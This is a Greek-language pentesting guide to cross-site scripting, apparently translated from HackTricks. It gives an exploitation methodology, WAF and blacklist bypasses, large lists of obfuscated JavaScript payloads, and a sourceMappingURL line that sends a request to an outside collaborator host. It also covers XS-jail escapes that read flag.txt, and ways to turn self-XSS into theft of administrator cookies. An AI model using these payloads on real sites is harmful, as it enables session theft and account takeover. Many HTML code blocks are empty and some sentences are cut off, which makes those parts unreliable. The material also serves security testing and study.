# XSS (Cross Site Scripting) ## Methodology 1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα. 2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται. 3. Αν **αντανάκλαται** 1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload: 1. Σε **ακατέργαστο HTML**: 1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML; 2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`; 3. Μπορείτε να παρακάμψετε τις προστασίες; 4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πελάτη (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html); 2. Μέσα σε μια **ετικέτα HTML**: 1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο; 2. Μπορείτε να δημιουργήσετε νέα γεγονότα/χαρακτηριστικά για να εκτελέσετε κώδικα JS; 3. Υποστηρίζει το χαρακτηριστικό όπου είστε παγιδευμένοι την εκτέλεση JS; 4. Μπορείτε να παρακάμψετε τις προστασίες; 3. Μέσα σε **κώδικα JavaScript**: 1. Μπορείτε να διαφύγετε την ετικέτα ``** ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το πρωτόκολλο **`javascript:`**: - Αν ανακλάται μεταξύ των **``** ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `` είναι μέσα στον κώδικα HTML. - Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, **εκτελέσετε** τον κώδικά σας και **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - Αν ανακλάται μέσα σε πρότυπες κυριολεξίες, μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` - **Η κωδικοποίηση Unicode** λειτουργεί για να γράψει **έγκυρο κώδικα javascript**: ```javascript alert(1) alert(1) alert(1) ``` #### Javascript Hoisting Η αναφορά Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώσετε συναρτήσεις, μεταβλητές ή κλάσεις μετά τη χρήση τους, ώστε να μπορείτε να εκμεταλλευτείτε σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.**\ **Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:** {{#ref}} js-hoisting.md {{#endref}} ### Javascript Function Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: `?callback=callbackFunc`. Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **να τροποποιήσετε την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξετε στην κονσόλα για σφάλματα όπως: ![](<../../images/image (711).png>) Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**). Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**: ![](<../../images/image (747).png>) Ορισμένες χρήσιμες συναρτήσεις για αυτό: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Μπορείτε επίσης να προσπαθήσετε να **ενεργοποιήσετε συναρτήσεις Javascript** απευθείας: `obj.sales.delOrders`. Ωστόσο, συνήθως τα endpoints που εκτελούν τη δηλωμένη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες. Επομένως, προκειμένου να **καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**: {{#ref}} some-same-origin-method-execution.md {{#endref}} ### DOM Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλώς** κάποια **δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να εκτελέσει αυθαίρετο κώδικα JS. {{#ref}} dom-xss.md {{#endref}} ### **Universal XSS** Αυτού του είδους οι XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη μιας διαδικτυακής εφαρμογής αλλά από **οποιοδήποτε** **περίγραμμα**. Αυτού του είδους η **αυθαίρετη εκτέλεση JavaScript** μπορεί ακόμη και να καταχραστεί για να αποκτήσει **RCE**, **να διαβάσει** **αυθαίρετα** **αρχεία** σε πελάτες και διακομιστές, και άλλα.\ Ορισμένα **παραδείγματα**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} ## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Εισαγωγή μέσα σε ακατέργαστο HTML Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML encoded** ή **διαγραφεί** ή αν είναι **αντικατοπτρισμένο χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτήν την περίπτωση**.\ Για αυτές τις περιπτώσεις, επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*ή \*\***`--!>`\*\*_ Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε payloads όπως: ```html ``` Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα χρειαστεί να **δοκιμάσετε ποια ετικέτες** μπορείτε να δημιουργήσετε.\ Μόλις έχετε **εντοπίσει ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσετε χαρακτηριστικά/γεγονότα** μέσα στις βρεθείσες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο. ### Δοκιμή ετικετών/γεγονότων Πηγαίνετε στο [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) και κάντε κλικ στο _**Αντιγραφή ετικετών στο πρόχειρο**_. Στη συνέχεια, στείλτε όλες αυτές χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποια ετικέτα δεν ανακαλύφθηκε ως κακόβουλη από το WAF. Μόλις ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να **δοκιμάσετε όλα τα γεγονότα** χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο _**Αντιγραφή γεγονότων στο πρόχειρο**_ και ακολουθήστε την ίδια διαδικασία όπως πριν). ### Προσαρμοσμένες ετικέτες Αν δεν βρείτε καμία έγκυρη ετικέτα HTML, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάσει σε αυτό το αντικείμενο** και να **εκτελέσει** τον κώδικα: ``` /?search=#x ``` ### Blacklist Bypasses Αν χρησιμοποιείται κάποια μορφή μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**. **Χρησιμοποιώντας Hex και Octal κωδικοποίηση με `javascript:`** Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal κωδικοποίηση** μέσα στο `src` χαρακτηριστικό του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Αντεστραμμένο tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονική, μετα) Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι τώρα δυνατό να εκμεταλλευτούμε τις κρυφές εισόδους με:** ```html ``` Και σε **meta tags**: ```html
Newsletter popup
``` Από [**εδώ**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload μέσα σε ένα κρυφό χαρακτηριστικό**, εφόσον μπορείτε να **πεισθείτε** τον **θύμα** να πατήσει τον **συνδυασμό πλήκτρων**. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο χαρακτηριστικό access key. Ακολουθεί ο φορέας: ```html ``` **Το XSS payload θα είναι κάτι σαν αυτό: `" accesskey="x" onclick="alert(1)" x="`** ### Παράκαμψη Μαύρης Λίστας Διάφορα κόλπα με τη χρήση διαφορετικής κωδικοποίησης έχουν ήδη αποκαλυφθεί σε αυτή την ενότητα. Πήγαινε **πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:** - **HTML κωδικοποίηση (HTML tags)** - **Unicode κωδικοποίηση (μπορεί να είναι έγκυρος κώδικας JS):** `\u0061lert(1)` - **URL κωδικοποίηση** - **Hex και Octal κωδικοποίηση** - **κωδικοποίηση δεδομένων** **Παράκαμψη για HTML tags και attributes** Διάβασε τις [Παράκαμψεις Μαύρης Λίστας της προηγούμενης ενότητας](#blacklist-bypasses). **Παράκαμψη για κώδικα JavaScript** Διάβασε την [παράκαμψη μαύρης λίστας JavaScript της επόμενης ενότητας](#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Αν βρεις ένα **XSS σε πολύ μικρό μέρος** του ιστού που απαιτεί κάποια αλληλεπίδραση (ίσως ένα μικρό σύνδεσμο στο υποσέλιδο με ένα στοιχείο onmouseover), μπορείς να προσπαθήσεις να **τροποποιήσεις τον χώρο που καταλαμβάνει αυτό το στοιχείο** για να μεγιστοποιήσεις τις πιθανότητες να ενεργοποιηθεί ο σύνδεσμος. Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλ στο στοιχείο όπως: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Αλλά, αν το WAF φιλτράρει το attribute style, μπορείς να χρησιμοποιήσεις CSS Styling Gadgets, οπότε αν βρεις, για παράδειγμα > .test {display:block; color: blue; width: 100%\} και > \#someid {top: 0; font-family: Tahoma;} Τώρα μπορείς να τροποποιήσεις τον σύνδεσό μας και να τον φέρεις στη μορφή > \ Αυτό το κόλπο ελήφθη από [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Εισαγωγή μέσα στον κώδικα JavaScript Σε αυτές τις περιπτώσεις η **είσοδός σου** θα **αντανακλάται μέσα στον κώδικα JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. ### Διαφυγή ετικέτας \` μπορείς εύκολα να **διαφύγεις κλείνοντας την ετικέτα ` ``` Σημειώστε ότι σε αυτό το παράδειγμα **δεν έχουμε καν κλείσει την απλή παράθεση**. Αυτό συμβαίνει επειδή **η ανάλυση HTML εκτελείται πρώτα από τον περιηγητή**, η οποία περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων των μπλοκ σεναρίου. Η ανάλυση της JavaScript για να κατανοήσει και να εκτελέσει τα ενσωματωμένα σενάρια πραγματοποιείται μόνο αργότερα. ### Μέσα στον κώδικα JS Εάν τα `<>` απολυμαίνονται, μπορείτε ακόμα να **διαφύγετε τη συμβολοσειρά** όπου η είσοδός σας είναι **τοποθετημένη** και να **εκτελέσετε αυθαίρετη JS**. Είναι σημαντικό να **διορθώσετε τη σύνταξη JS**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Για να κατασκευάσετε **strings** εκτός από τα μονά και διπλά εισαγωγικά, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\ Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**: Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` ```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } loop`` ``` ### Κωδικοποιημένη εκτέλεση κώδικα ```html ``` **Javascript μέσα σε ένα σχόλιο** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript χωρίς παρενθέσεις** ```javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ``` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Αυθαίρετη κλήση συνάρτησης (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ``` ## **Ευπάθειες DOM** Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλή δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\ **Λόγω της επέκτασης της εξήγησης των** [**ευπαθειών DOM, μεταφέρθηκε σε αυτή τη σελίδα**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} Εκεί θα βρείτε μια λεπτομερή **εξήγηση για το τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\ Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση σχετικά με [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering). ### Αναβάθμιση Self-XSS ### Cookie XSS Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό είναι συνήθως ένα self-XSS. Ωστόσο, αν βρείτε ένα **ευάλωτο υποτομέα σε XSS**, θα μπορούσατε να εκμεταλλευτείτε αυτό το XSS για να εισάγετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα υποτομέα (αυτά που είναι ευάλωτα σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την επίθεση cookie tossing: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} Μπορείτε να βρείτε μια εξαιρετική εκμετάλλευση αυτής της τεχνικής σε [**αυτή την ανάρτηση blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Αποστολή της συνεδρίας σας στον διαχειριστή Ίσως ένας χρήστης μπορεί να μοιραστεί το προφίλ του με τον διαχειριστή και αν το self XSS είναι μέσα στο προφίλ του χρήστη και ο διαχειριστής το αποκτήσει, θα ενεργοποιήσει την ευπάθεια. ### Αντανάκλαση Συνεδρίας Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **αντανάκλαση συνεδρίας για διαχειριστές**, για παράδειγμα επιτρέποντας στους πελάτες να ζητούν βοήθεια, προκειμένου ο διαχειριστής να σας βοηθήσει, θα βλέπει αυτό που βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία. Θα μπορούσατε να κάνετε τον **διαχειριστή να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/συνεδρία του. ## Άλλες Παράκαμψεις ### Κανονικοποιημένο Unicode Μπορείτε να ελέγξετε αν οι **αντανάκλαση τιμές** κανονικοποιούνται σε **unicode** στον διακομιστή (ή στην πλευρά του πελάτη) και να εκμεταλλευτείτε αυτή τη λειτουργία για να παρακάμψετε τις προστασίες. [**Βρείτε ένα παράδειγμα εδώ**](../unicode-injection/index.html#xss-cross-site-scripting). ### Παράκαμψη σημαίας PHP FILTER_VALIDATE_EMAIL ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Λόγω της **RoR μαζικής ανάθεσης** εισάγονται αποσπάσματα στο HTML και στη συνέχεια παρακάμπτεται ο περιορισμός αποσπασμάτων και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\ Παράδειγμα φόρμας ([from this report](https://hackerone.com/reports/709336)), αν στείλετε το payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Το ζεύγος "Key","Value" θα αναπαραχθεί όπως εξής: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Τότε, το χαρακτηριστικό onfocus θα εισαχθεί και θα συμβεί XSS. ### Ειδικοί συνδυασμοί ```html alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS με έγχυση κεφαλίδων σε απόκριση 302 Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο. Στο [**αυτό το αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτό**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\ Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`. ### Μόνο Γράμματα, Αριθμοί και Τελείες Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα αυτού του άρθρου**](#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά. ### Έγκυροι ` ``` - **module** (προεπιλογή, τίποτα να εξηγήσω) - [**webbundle**](https://web.dev/web-bundles/): Το Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα **`.wbn`** αρχείο. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` - [**importmap**](https://github.com/WICG/import-maps)**:** Επιτρέπει τη βελτίωση της σύνταξης εισαγωγής ```html ``` Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να ανακατευθύνει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί, μπορεί να προκαλέσει XSS. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει ορισμένα προβλήματα που προκαλούνται από την προ-απόδοση. Λειτουργεί ως εξής: ```html ``` ### Web Content-Types to XSS (Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Οι παρακάτω τύποι περιεχομένου μπορούν να εκτελέσουν XSS σε όλους τους περιηγητές: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml - text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα αυτό σε ένα CTF) - application/rss+xml (off) - application/atom+xml (off) Σε άλλους περιηγητές μπορούν να χρησιμοποιηθούν άλλοι **`Content-Types`** για να εκτελέσουν αυθαίρετο JS, έλεγξε: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type Αν η σελίδα επιστρέφει τύπο περιεχομένου text/xml είναι δυνατόν να υποδειχθεί ένα namespace και να εκτελεστεί αυθαίρετο JS: ```xml hello ``` ### Ειδικά Πρότυπα Αντικατάστασης Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", )`**, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβολοσειρών**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` Για παράδειγμα, σε [**αυτή την αναφορά**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **διαφύγει μια συμβολοσειρά JSON** μέσα σε ένα σενάριο και να εκτελέσει αυθαίρετο κώδικα. ### Chrome Cache to XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} ### XS Jails Escape Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων για χρήση, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) 